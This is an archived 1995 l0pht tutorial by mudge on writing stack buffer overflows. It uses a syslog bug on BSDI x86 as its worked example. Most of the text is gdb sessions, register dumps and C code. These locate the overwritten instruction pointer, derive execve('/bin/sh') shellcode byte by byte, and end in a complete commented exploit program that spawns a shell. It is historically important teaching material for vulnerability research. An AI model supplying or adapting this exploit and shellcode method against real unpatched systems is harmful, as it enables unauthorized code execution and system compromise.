home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / bufero.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  24.6 KB  |  820 lines

  1.  
  2.                              l0pht advisories 
  3.                                       
  4.                        How to write Buffer Overflows
  5.                                       
  6.    This is really rough, and some of it is not needed. I wrote this as a
  7.    reminder note to myself as I really didn't want to look at any more
  8.    AT&T assembly again for a while and was afraid I would forget what I
  9.    had done. If you are an old assembly guru then you might scoff at some
  10.    of this... oh well, it works and that's a hack in itself.
  11.    
  12.    -by mudge@l0pht.com 10/20/95
  13.    
  14.    test out the program (duh).
  15.    
  16. --------syslog_test_1.c------------
  17.  
  18. #include
  19.  
  20. char buffer[4028];
  21.  
  22. void main() {
  23.  
  24.    int i;
  25.  
  26.    for (i=0; i<=4028; i++)
  27.        buffer[i]='A';
  28.  
  29.    syslog(LOG_ERR, buffer);
  30. }
  31.  
  32. --------end syslog_test_1.c----------
  33.  
  34.    Compile the program and run it. Make sure you include the symbol table
  35.    for the debugger or not... depending upon how macho you feel today.
  36.    
  37.  
  38. bash$ gcc -g buf.c -o buf
  39. bash$ buf
  40. Segmentation fault (core dumped)
  41.  
  42.    The 'Segmentation fault (core dumped)' is what we wanted to see. This
  43.    tells us there is definately an attempt to access some memory address
  44.    that we shouldn't. If you do much in 'C' with pointers on a unix
  45.    machine you have probably seen this (or Bus error) when pointing or
  46.    dereferencing incorrectly.
  47.    
  48.    Fire up gdb on the program (with or without the core file). Assuming
  49.    you remove the core file (this way you can learn a bit about gdb), the
  50.    steps would be as follows:
  51.    
  52.  
  53.    bash$ gdb buf
  54.    (gdb) run
  55.    Starting program: /usr2/home/syslog/buf
  56.  
  57.    Program received signal 11, Segmentation fault
  58.    0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
  59.  
  60.    Ok, this is good. The 41's you see are the hex equivallent for the
  61.    ascii character 'A'. We are definately going places where we shouldn't
  62.    be.
  63.    
  64.  
  65.    (gdb) info all-registers
  66.    eax            0xefbfd641       -272640447
  67.    ecx            0x00000000       0
  68.    edx            0xefbfd67c       -272640388
  69.    ebx            0xefbfe000       -272637952
  70.    esp            0xefbfd238       0xefbfd238
  71.    ebp            0xefbfde68       0xefbfde68
  72.    esi            0xefbfd684       -272640380
  73.    edi            0x0000cce8       52456
  74.    eip            0x00001273       0x1273
  75.    ps             0x00010212       66066
  76.    cs             0x0000001f       31
  77.    ss             0x00000027       39
  78.    ds             0x00000027       39
  79.    es             0x00000027       39
  80.    fs             0x00000027       39
  81.    gs             0x00000027       39
  82.  
  83.    The gdb command 'info all-registers' shows the values in the current
  84.    hardware registers. The one we are really interested in is 'eip'. On
  85.    some platforms this will be called 'ip' or 'pc'. It is the Instruction
  86.    Pointer [also called Program Counter]. It points to the memory
  87.    location of the next instruction the processor will execute. By
  88.    overwriting this you can point to the beginning of your own code and
  89.    the processor will merrily start executing it assuming you have it
  90.    written as native opcodes and operands.
  91.    
  92.    In the above we haven't gotten exactly where we need to be yet. If you
  93.    want to see where it crashed out do the following:
  94.    
  95.  
  96. (gdb) disassemble 0x1273
  97.    [stuff deleted]
  98.    0x1267 :   incl   0xfffff3dc(%ebp)
  99.    0x126d :   testb  %al,%al
  100.    0x126f :   jne    0x125c
  101.    0x1271 :   jmp    0x1276
  102.    0x1273 :   movb   %al,(%ebx)
  103.    0x1275 :   incl   %ebx
  104.    0x1276 :   incl   %edi
  105.    0x1277 :   movb   (%edi),%al
  106.    0x1279 :   testb  %al,%al
  107.  
  108.    If you are familiar with microsoft assembler this will be a bit
  109.    backwards to you. For example: in microsoft you would 'mov ax,cx' to
  110.    move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those
  111.    warp refraction eye-goggles and on we go.
  112.    
  113.    Note also that Intel assembler
  114.    
  115.    let's go back and tweak the original source code some eh?
  116.    
  117.  
  118. -------------syslog_test_2.c-------------
  119.  
  120. #include
  121.  
  122. char buffer[4028];
  123.  
  124. void main() {
  125.  
  126.    int i;
  127.  
  128.    for (i=0; i<2024; i++)
  129.        buffer[i]='A';
  130.  
  131.    syslog(LOG_ERR, buffer);
  132. }
  133.  
  134. -----------end syslog_test_2.c-------------
  135.  
  136.    We're just shortening the length of 'A''s.
  137.    
  138.  
  139.    bash$ gcc -g buf.c -o buf
  140.    bash$ gdb buf
  141.    (gdb) run
  142.    Starting program: /usr2/home/syslog/buf
  143.  
  144.    Program received signal 5, Trace/BPT trap
  145.    0x1001 in ?? (Error accessing memory address 0x41414149: Cannot
  146.         allocate memory.
  147.  
  148.    This is the magic response we've been looking for.
  149.    
  150.  
  151.    (gdb) info all-registers
  152.    eax            0xffffffff       -1
  153.    ecx            0x00000000       0
  154.    edx            0x00000008       8
  155.    ebx            0xefbfdeb4       -272638284
  156.    esp            0xefbfde70       0xefbfde70
  157.    ebp            0x41414141       0x41414141   <- here it is!!!
  158.    esi            0xefbfdec0       -272638272
  159.    edi            0xefbfdeb8       -272638280
  160.    eip            0x00001001       0x1001
  161.    ps             0x00000246       582
  162.    cs             0x0000001f       31
  163.    ss             0x00000027       39
  164.    ds             0x00000027       39
  165.    es             0x00000027       39
  166.    fs             0x00000027       39
  167.    gs             0x00000027       39
  168.  
  169.  
  170.    Now we move it along until we figure out where eip lives in the
  171.    overflow (which is right after ebp in this arch architecture). With
  172.    that known fact we only have to add 4 more bytes to our buffer of
  173.    'A''s and we will overwrite eip completely.
  174.    
  175. ---------syslog_test_3.c----------------
  176.  
  177. #include
  178.  
  179. char buffer[4028];
  180.  
  181. void main() {
  182.  
  183.    int i;
  184.  
  185.    for (i=0; i<2028; i++)
  186.        buffer[i]='A';
  187.  
  188.    syslog(LOG_ERR, buffer);
  189. }
  190. -------end syslog_test_3.c------------
  191.  
  192.    bash$ !gc
  193.    gcc -g buf.c -o buf
  194.    bash$ gdb buf
  195.    (gdb) run
  196.    Starting program: /usr2/home/syslog/buf
  197.  
  198.    Program received signal 11, Segmentation fault
  199.    0x41414141 in errno (Error accessing memory address
  200.                     0x41414149: Cannot allocate memory.
  201.  
  202.  
  203.    (gdb) info all-registers
  204.    eax            0xffffffff       -1
  205.    ecx            0x00000000       0
  206.    edx            0x00000008       8
  207.    ebx            0xefbfdeb4       -272638284
  208.    esp            0xefbfde70       0xefbfde70
  209.    ebp            0x41414141       0x41414141
  210.    esi            0xefbfdec0       -272638272
  211.    edi            0xefbfdeb8       -272638280
  212.    eip            0x41414141       0x41414141
  213.    ps             0x00010246       66118
  214.    cs             0x0000001f       31
  215.    ss             0x00000027       39
  216.    ds             0x00000027       39
  217.    es             0x00000027       39
  218.    fs             0x00000027       39
  219.    gs             0x00000027       39
  220.  
  221.    BINGO!!!
  222.    
  223.    Here's where it starts to get interesting. Now that we know eip starts
  224.    at buffer[2024] and goes through buffer[2027] we can load it up with
  225.    whatever we need. The question is... what do we need?
  226.    
  227.    We find this by looking at the contents of buffer[].
  228.    
  229.  
  230.    (gdb) disassemble buffer
  231.    [stuff deleted]
  232.    0xc738 :   incl   %ecx
  233.    0xc739 :   incl   %ecx
  234.    0xc73a :   incl   %ecx
  235.    0xc73b :   incl   %ecx
  236.    0xc73c :   addb   %al,(%eax)
  237.    0xc73e :   addb   %al,(%eax)
  238.    0xc740 :   addb   %al,(%eax)
  239.    [stuff deleted]
  240.  
  241.    On the Intel x86 architecture [a pentium here but that doesn't matter]
  242.    incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000
  243.    or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the
  244.    address of 0xc73c where we will start our code. You have two options
  245.    here, one is to load the buffer up with the opcodes and operands and
  246.    point the eip back into the buffer; the other option is what we are
  247.    going to be doing which is to put the opcodes and operands after the
  248.    eip and point to them.
  249.    
  250.    The advantage to putting the code inside the buffer is that other than
  251.    the ebp and eip registers you don't clobber anything else. The
  252.    disadvantage is that you will need to do trickier coding (and actually
  253.    write the assembly yourself) so that there are no bytes that contain
  254.    0x0 which will look like a null in the string. This will require you
  255.    to know enough about the native chip architecture and opcodes to do
  256.    this [easy enough for some people on Intel x86's but what happens when
  257.    you run into an Alpha? -- lucky for us there is a gdb for Alpha I
  258.    think ;-)].
  259.    
  260.    The advantage to putting the code after the eip is that you don't have
  261.    to worry about bytes containing 0x0 in them. This way you can write
  262.    whatever program you want to execute in 'C' and have gdb generate most
  263.    of the machine code for you. The disadvantage is that you are
  264.    overwriting the great unknown. In most cases the section you start to
  265.    overwrite here contains your environment variables and other
  266.    whatnots.... upon succesfully running your created code you might be
  267.    dropped back into a big void. Deal with it.
  268.    
  269.    The safest instruction is NOP which is a benign no-operation. This is
  270.    what you will probably be loading the buffer up with as filler.
  271.    
  272.    Ahhh but what if you don't know what the opcodes are for the
  273.    particular architecture you are on. No problem. gcc has a wonderfull
  274.    function called __asm__(char *); I rely upon this heavily for doing
  275.    buffer overflows on architectures that I don't have assembler books
  276.    for.
  277.    
  278.  
  279. ------nop.c--------
  280. void main(){
  281.  
  282. __asm__("nop\n");
  283.  
  284. }
  285. ----end nop.c------
  286.  
  287.    bash$ gcc -g nop.c -o nop
  288.    bash$ gdb nop
  289.    (gdb) disassemble main
  290.    Dump of assembler code for function main:
  291.    to 0x1088:
  292.    0x1080 :  pushl  %ebp
  293.    0x1081 :        movl   %esp,%ebp
  294.    0x1083 :        nop
  295.    0x1084 :        leave
  296.    0x1085 :        ret
  297.    0x1086 :        addb   %al,(%eax)
  298.    End of assembler dump.
  299.    (gdb) x/bx 0x1083
  300.    0x1083 :  0x90
  301.  
  302.    Since nop is at 0x1083 and the next instruction is at 0x1084 we know
  303.    that nop only takes up one byte. Examining that byte shows us that it
  304.    is 0x90 (hex).
  305.    
  306.    Our program now looks like this:
  307.    
  308. ------ syslog_test_4.c---------
  309.  
  310. #include
  311.  
  312. char buffer[4028];
  313.  
  314. void main() {
  315.  
  316.    int i;
  317.  
  318.    for (i=0; i<2024; i++)
  319.        buffer[i]=0x90;
  320.  
  321.    i=2024;
  322.  
  323.    buffer[i++]=0x3c;
  324.    buffer[i++]=0xc7;
  325.    buffer[i++]=0x00;
  326.    buffer[i++]=0x00;
  327.  
  328.  
  329.    syslog(LOG_ERR, buffer);
  330. }
  331. ------end syslog_test_4.c-------
  332.  
  333.    Notice you need to load the eip backwards ie 0000c73c is loaded into
  334.    the buffer as 3c c7 00 00.
  335.    
  336.    Now the question we have is what is the code we insert from here on?
  337.    
  338.    Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to
  339.    why someone would want to do something like this, but I hear there are
  340.    a lot of nasty people out there. Oh well. Here's the proggie we want
  341.    to execute in C code:
  342.    
  343.  
  344. ------execute.c--------
  345. #include
  346. main()
  347. {
  348.    char *name[2];
  349.    name[0] = "sh";
  350.    name[1] = NULL;
  351.    execve("/bin/sh",name,NULL);
  352. }
  353. ----end execute.c-------
  354.  
  355.    bash$ gcc -g execute.c -o execute
  356.    bash$ execute
  357.    $
  358.  
  359.    Ok, the program works. Then again, if you couldn't whip up that little
  360.    prog you should probably throw in the towel here. Maybe become a
  361.    webmaster or something that requires little to no programming (or
  362.    brainwave activity period). Here's the gdb scoop:
  363.    
  364.  
  365.    bash$ gdb execute
  366.    (gdb) disassemble main
  367.    Dump of assembler code for function main:
  368.    to 0x10b8:
  369.    0x1088 :  pushl  %ebp
  370.    0x1089 :        movl   %esp,%ebp
  371.    0x108b :        subl   $0x8,%esp
  372.    0x108e :        movl   $0x1080,0xfffffff8(%ebp)
  373.    0x1095 :       movl   $0x0,0xfffffffc(%ebp)
  374.    0x109c :       pushl  $0x0
  375.    0x109e :       leal   0xfffffff8(%ebp),%eax
  376.    0x10a1 :       pushl  %eax
  377.    0x10a2 :       pushl  $0x1083
  378.    0x10a7 :       call   0x10b8
  379.    0x10ac :       leave
  380.    0x10ad :       ret
  381.    0x10ae :       addb   %al,(%eax)
  382.    0x10b0 :       jmp    0x1140
  383.    0x10b5 :       addb   %al,(%eax)
  384.    0x10b7 :       addb   %cl,0x3b05(%ebp)
  385.    End of assembler dump.
  386.  
  387.    (gdb) disassemble execve
  388.    Dump of assembler code for function execve:
  389.    to 0x10c8:
  390.    0x10b8 :        leal   0x3b,%eax
  391.    0x10be :      lcall  0x7,0x0
  392.    0x10c5 :     jb     0x10b0
  393.    0x10c7 :     ret
  394.    End of assembler dump.
  395.  
  396.    This is the assembly behind what our execute program does to run
  397.    /bin/sh. We use execve() as it is a system call and this is what we
  398.    are going to have our program execute (ie let the kernel service run
  399.    it as opposed to having to write it from scratch).
  400.    
  401.    0x1083 contains the /bin/sh string and is the last thing pushed onto
  402.    the stack before the call to execve.
  403.    
  404.  
  405.    (gdb) x/10bc 0x1083
  406.    0x1083 :  47 '/'  98 'b'  105 'i'  110 'n'  47 '/'  115 's'
  407.                        104 'h'  0 '\000'
  408.  
  409.    (0x1080 contains the arguments...which I haven't been able to really
  410.    clean up).
  411.    
  412.    We will replace this address with the one where our string lives [when
  413.    we decide where that will be].
  414.    
  415.    Here's the skeleton we will use from the execve disassembly:
  416.    
  417.  
  418. [main]
  419.    0x108d :        movl   %esp,%ebp
  420.  
  421.    0x108e :        movl   $0x1083,0xfffffff8(%ebp)
  422.    0x1095 :       movl   $0x0,0xfffffffc(%ebp)
  423.    0x109c :       pushl  $0x0
  424.    0x109e :       leal   0xfffffff8(%ebp),%eax
  425.    0x10a1 :       pushl  %eax
  426.    0x10a2 :       pushl  $0x1080
  427.  
  428. [execve]
  429.    0x10b8 :        leal   0x3b,%eax
  430.    0x10be :      lcall  0x7,0x0
  431.  
  432.    All you need to do from here is to build up a bit of an environment
  433.    for the program. Some of this stuff isn't necesary but I have it in
  434.    still as I haven't fine tuned this yet.
  435.    
  436.    I clean up eax. I don't remember why I do this and it shouldn't really
  437.    be necesarry. Hell, better quit hitting the sauce. I'll figure out if
  438.    it is after I tune this up a bit.
  439.    
  440.  
  441.    xorl   %eax,%eax
  442.  
  443.    We will encapsulate the actuall program with a jmp to somewhere and a
  444.    call right back to the instruction after the jmp. This pushes ecx and
  445.    esi onto the stack.
  446.    
  447.  
  448.    jmp    0x????  # this will jump to the call...
  449.    popl   %esi
  450.    popl   %ecx
  451.  
  452.    The call back will be something like:
  453.    
  454.    call   0x????  # this will point to the instruction after the jmp (ie
  455.                   # popl %esi)
  456.  
  457. All put together it looks like this now:
  458.  
  459. ----------------------------------------------------------------------
  460.    movl   %esp,%ebp
  461.    xorl   %eax,%eax
  462.    jmp    0x????  # we don't know where yet...
  463. # -------------[main]
  464.    movl   $0x????,0xfffffff8(%ebp)  # we don't know what the address will
  465.                                     # be yet.
  466.    movl   $0x0,0xfffffffc(%ebp)
  467.    pushl  $0x0
  468.    leal   0xfffffff8(%ebp),%eax
  469.    pushl  %eax
  470.    pushl  $0x????                   # we don't know what the address will
  471.                                     # be yet.
  472. # ------------[execve]
  473.    leal   0x3b,%eax
  474.    lcall  0x7,0x0
  475.  
  476.    call   0x????  # we don't know where yet...
  477.  
  478. ----------------------------------------------------------------------
  479.  
  480.    There are only a couple of more things that we need to add before we
  481.    fill in the addresses to a couple of the instructions.
  482.    
  483.    Since we aren't actually calling execve with a 'call' anymore here, we
  484.    need to push the value in ecx onto the stack to simulate it.
  485.    
  486. # ------------[execve]
  487.    pushl  %ecx
  488.    leal   0x3b,%eax
  489.    lcall  0x7,0x0
  490.  
  491.    The only other thing is to not pass in the arguments to /bin/sh. We do
  492.    this by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal
  493.    0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].
  494.    
  495.    So the whole thing looks like this (without knowing the addresses for
  496.    the '/bin/sh\0' string):
  497.    
  498.  
  499.    movl   %esp,%ebp
  500.    xorl   %eax,%eax # we added this
  501.    jmp    0x????    # we added this
  502.    popl   %esi      # we added this
  503.    popl   %ecx      # we added this
  504.    movl   $0x????,0xfffffff5(%ebp)
  505.    movl   $0x0,0xfffffffc(%ebp)
  506.    pushl  $0x0
  507.    leal   0xfffffffc(%ebp),%eax  # we changed this
  508.    pushl  %eax
  509.    pushl  $0x????
  510.    leal   0x3b,%eax
  511.    pushl  %ecx       # we added this
  512.    lcall  0x7,0x0
  513.    call   0x????     # we added this
  514.  
  515.    To figure out the bytes to load up our buffer with for the parts that
  516.    were already there run gdb on the execute program.
  517.    
  518.  
  519.    bash$ gdb execute
  520.    (gdb) disassemble main
  521.    Dump of assembler code for function main:
  522.    to 0x10bc:
  523.    0x108c :  pushl  %ebp
  524.    0x108d :        movl   %esp,%ebp
  525.    0x108f :        subl   $0x8,%esp
  526.    0x1092 :        movl   $0x1080,0xfffffff8(%ebp)
  527.    0x1099 :       movl   $0x0,0xfffffffc(%ebp)
  528.    0x10a0 :       pushl  $0x0
  529.    0x10a2 :       leal   0xfffffff8(%ebp),%eax
  530.    0x10a5 :       pushl  %eax
  531.    0x10a6 :       pushl  $0x1083
  532.    0x10ab :       call   0x10bc
  533.    0x10b0 :       leave
  534.    0x10b1 :       ret
  535.    0x10b2 :       addb   %al,(%eax)
  536.    0x10b4 :       jmp    0x1144
  537.    0x10b9 :       addb   %al,(%eax)
  538.    0x10bb :       addb   %cl,0x3b05(%ebp)
  539.    End of assembler dump.
  540.  
  541. [get out your scratch paper for this one... ]
  542.  
  543.    0x108d :        movl   %esp,%ebp
  544.    this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
  545.    thus we can see the machine code with gdb like this.
  546.  
  547.    (gdb) x/2bx 0x108d
  548.    0x108d :  0x89  0xe5
  549.  
  550.    Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for
  551.    all of the instructions that we are pulling out of the execute
  552.    program. You can figure out the basic structure for the call command
  553.    by looking at the one inexecute that calls execve. Of course you will
  554.    eventually need to put in the proper address.
  555.    
  556.    When I work this out I break down the whole program so I can see
  557.    what's going on. Something like the following
  558.    
  559.  
  560.    0x108c :  pushl  %ebp
  561.    0x108d :        movl   %esp,%ebp
  562.    0x108f :        subl   $0x8,%esp
  563.  
  564.    (gdb) x/bx 0x108c
  565.    0x108c :  0x55
  566.    (gdb) x/bx 0x108d
  567.    0x108d :  0x89
  568.    (gdb) x/bx 0x108e
  569.    0x108e :  0xe5
  570.    (gdb) x/bx 0x108e
  571.    0x108f :  0x83
  572.  
  573.    so we see the following from this:
  574.  
  575.    0x55         pushl %ebp
  576.  
  577.    0x89         movl %esp,%ebp
  578.    0xe5
  579.  
  580.    0x83         subl $0x8,%esp
  581.  
  582.    etc. etc. etc.
  583.  
  584.    For commands that you don't know the opcodes to you can find them out
  585.    for the particular chip you are on by writing little scratch programs.
  586.    
  587. ----pop.c-------
  588. void main() {
  589.  
  590. __asm__("popl %esi\n");
  591.  
  592. }
  593. ---end pop.c----
  594.  
  595.    bash$ gcc -g pop.c -o pop
  596.    bash$ gdb pop
  597.    (gdb) disassemble main
  598.    Dump of assembler code for function main:
  599.    to 0x1088:
  600.    0x1080 :  pushl  %ebp
  601.    0x1081 :        movl   %esp,%ebp
  602.    0x1083 :        popl   %esi
  603.    0x1084 :        leave
  604.    0x1085 :        ret
  605.    0x1086 :        addb   %al,(%eax)
  606.    End of assembler dump.
  607.    (gdb) x/bx 0x1083
  608.    0x1083 :  0x5e
  609.  
  610.    So, 0x5e is popl %esi. You get the idea. After you have gotten this
  611.    far build the string up (put in bogus addresses for the ones you don't
  612.    know in the jmp's and call's... just so long as we have the right
  613.    amount of space being taken up by the jmp and call instructions...
  614.    likewise for the movl's where we will need to know the memory location
  615.    of 'sh\0\0/bin/sh\0'.
  616.    
  617.    After you have built up the string, tack on the chars for
  618.    sh\0\0/bin/sh\0.
  619.    
  620.    Compile the program and load it into gdb. Before you run it in gdb set
  621.    a break point for the syslog call.
  622.    
  623.  
  624.    (gdb) break syslog
  625.    Breakpoint 1 at 0x1463
  626.    (gdb) run
  627.    Starting program: /usr2/home/syslog/buf
  628.  
  629.    Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,
  630.                         0xefbfdeac)
  631.    (gdb) disassemble 0xc73c 0xc77f
  632.         (we know it will start at 0xc73c since thats right after the
  633.          eip overflow... 0xc77f is just an educated guess as to where
  634.          it will end)
  635.  
  636.    (gdb) disassemble 0xc73c 0xc77f
  637.    Dump of assembler code from 0xc73c to 0xc77f:
  638.    0xc73c :   movl   %esp,%ebp
  639.    0xc73e :   xorl   %eax,%eax
  640.    0xc740 :   jmp    0xc76b
  641.    0xc742 :   popl   %esi
  642.    0xc743 :   popl   %ecx
  643.    0xc744 :   movl   $0xc770,0xfffffff5(%ebp)
  644.    0xc74b :   movl   $0x0,0xfffffffc(%ebp)
  645.    0xc752 :   pushl  $0x0
  646.    0xc754 :   leal   0xfffffffc(%ebp),%eax
  647.    0xc757 :   pushl  %eax
  648.    0xc758 :   pushl  $0xc773
  649.    0xc75d :   leal   0x3b,%eax
  650.    0xc763 :   pushl  %ecx
  651.    0xc764 :   lcall  0x7,0x0
  652.    0xc76b :   call   0xc742
  653.    0xc770 :   jae    0xc7da
  654.    0xc772 :   addb   %ch,(%edi)
  655.    0xc774 :   boundl 0x6e(%ecx),%ebp
  656.    0xc777 :   das
  657.    0xc778 :   jae    0xc7e2
  658.    0xc77a :   addb   %al,(%eax)
  659.    0xc77c :   addb   %al,(%eax)
  660.    0xc77e :   addb   %al,(%eax)
  661.    End of assembler dump.
  662.  
  663.    Look for the last instruction in your code. In this case it was the
  664.    'call' to right after the 'jmp' near the beginning. Our data should be
  665.    right after it and indeed we see that it is.
  666.    
  667.  
  668.    (gdb) x/13bc 0xc770
  669.    0xc770 :  115 's'  104 'h'  0 '\000'  47 '/'
  670.                           98 'b'  105 'i'  110 'n'  47 '/'
  671.    0xc778 :  115 's'  104 'h'  0 '\000'  0 '\000'  0 '\000'
  672.  
  673.    Now go back into your code and put the appropriate addresses in the
  674.    movl and pushl. At this point you should also be able to put in the
  675.    appropriate operands for the jmp and call. Congrats... you are done.
  676.    Here's what the output will look like when you run this on a system
  677.    with the non patched libc/syslog bug.
  678.    
  679.  
  680.    bash$ buf
  681.    $ exit (do whatever here... you spawned a shell!!!!!! yay!)
  682.    bash$
  683.  
  684.    Here's my original program with lot's of comments:
  685.    
  686.  
  687. /*****************************************************************/
  688. /* For BSDI running on Intel architecture -mudge, 10/19/95       */
  689. /* by following the above document you should be able to write   */
  690. /* buffer overflows for other OS's on other architectures now    */
  691. /* mudge@l0pht.com                                               */
  692. /*                                                               */
  693. /* note: I haven't cleaned this up yet... it could be much nicer */
  694. /*****************************************************************/
  695.  
  696. #include
  697.  
  698. char buffer[4028];
  699.  
  700. void main () {
  701.  
  702.    int i;
  703.  
  704.   for(i=0; i<2024; i++)
  705.     buffer[i]=0x90;
  706.  
  707.  
  708.   /* should set eip to 0xc73c */
  709.  
  710.     buffer[2024]=0x3c;
  711.     buffer[2025]=0xc7;
  712.     buffer[2026]=0x00;
  713.     buffer[2027]=0x00;
  714.  
  715.   i=2028;
  716.  
  717. /* begin actuall program */
  718.  
  719.  
  720.     buffer[i++]=0x89; /* movl %esp, %ebp */
  721.     buffer[i++]=0xe5;
  722.  
  723.     buffer[i++]=0x33; /* xorl %eax,%eax */
  724.     buffer[i++]=0xc0;
  725.  
  726.     buffer[i++]=0xeb; /* jmp ahead  */
  727.     buffer[i++]=0x29;
  728.  
  729.     buffer[i++]=0x5e; /* popl %esi       */
  730.  
  731.     buffer[i++]=0x59; /* popl %ecx        */
  732.  
  733.     buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */
  734.     buffer[i++]=0x45;
  735.     buffer[i++]=0xf5;
  736.     buffer[i++]=0x70;
  737.     buffer[i++]=0xc7;
  738.     buffer[i++]=0x00;
  739.     buffer[i++]=0x00;
  740.  
  741.     buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */
  742.     buffer[i++]=0x45;
  743.     buffer[i++]=0xfc;
  744.     buffer[i++]=0x00;
  745.     buffer[i++]=0x00;
  746.     buffer[i++]=0x00;
  747.     buffer[i++]=0x00;
  748.  
  749.     buffer[i++]=0x6a; /* pushl $0x0 */
  750.     buffer[i++]=0x00;
  751.  
  752. #ifdef z_out
  753.     buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */
  754.     buffer[i++]=0x45;
  755.     buffer[i++]=0xf8;
  756. #endif
  757.  
  758. /* the above is what the disassembly of execute does... but we only
  759.    want to push /bin/sh to be executed... it looks like this leal
  760.    puts into eax the address where the arguments are going to be
  761.    passed. By pointing to 0xfffffffc(%ebp) we point to a null
  762.    and don't care about the args... could probably just load up
  763.    the first section movl $0x0,0xfffffff8(%ebp) with a null and
  764.    left this part the way it want's to be */
  765.  
  766.     buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */
  767.     buffer[i++]=0x45;
  768.     buffer[i++]=0xfc;
  769.  
  770.  
  771.     buffer[i++]=0x50; /* pushl %eax */
  772.  
  773.     buffer[i++]=0x68; /* pushl $0xc773 */
  774.     buffer[i++]=0x73;
  775.     buffer[i++]=0xc7;
  776.     buffer[i++]=0x00;
  777.     buffer[i++]=0x00;
  778.  
  779.     buffer[i++]=0x8d; /* lea 0x3b,%eax */
  780.     buffer[i++]=0x05;
  781.     buffer[i++]=0x3b;
  782.     buffer[i++]=0x00;
  783.     buffer[i++]=0x00;
  784.     buffer[i++]=0x00;
  785.  
  786.     buffer[i++]=0x51; /* pushl %ecx */
  787.  
  788.     buffer[i++]=0x9a; /* lcall 0x7,0x0 */
  789.     buffer[i++]=0x00;
  790.     buffer[i++]=0x00;
  791.     buffer[i++]=0x00;
  792.     buffer[i++]=0x00;
  793.     buffer[i++]=0x07;
  794.     buffer[i++]=0x00;
  795.  
  796.     buffer[i++]=0xe8; /* call back to ??? */
  797.     buffer[i++]=0xd2;
  798.     buffer[i++]=0xff;
  799.     buffer[i++]=0xff;
  800.     buffer[i++]=0xff;
  801.  
  802.     buffer[i++]='s';
  803.     buffer[i++]='h';
  804.     buffer[i++]=0x00;
  805.     buffer[i++]='/';
  806.     buffer[i++]='b';
  807.     buffer[i++]='i';
  808.     buffer[i++]='n';
  809.     buffer[i++]='/';
  810.     buffer[i++]='s';
  811.     buffer[i++]='h';
  812.     buffer[i++]=0x00;
  813.     buffer[i++]=0x00;
  814.  
  815.     syslog(LOG_ERR, buffer);
  816. }
  817.  
  818.  
  819.    Copyright 1995, 1996 LHI Technologies, All Rights Reserved
  820.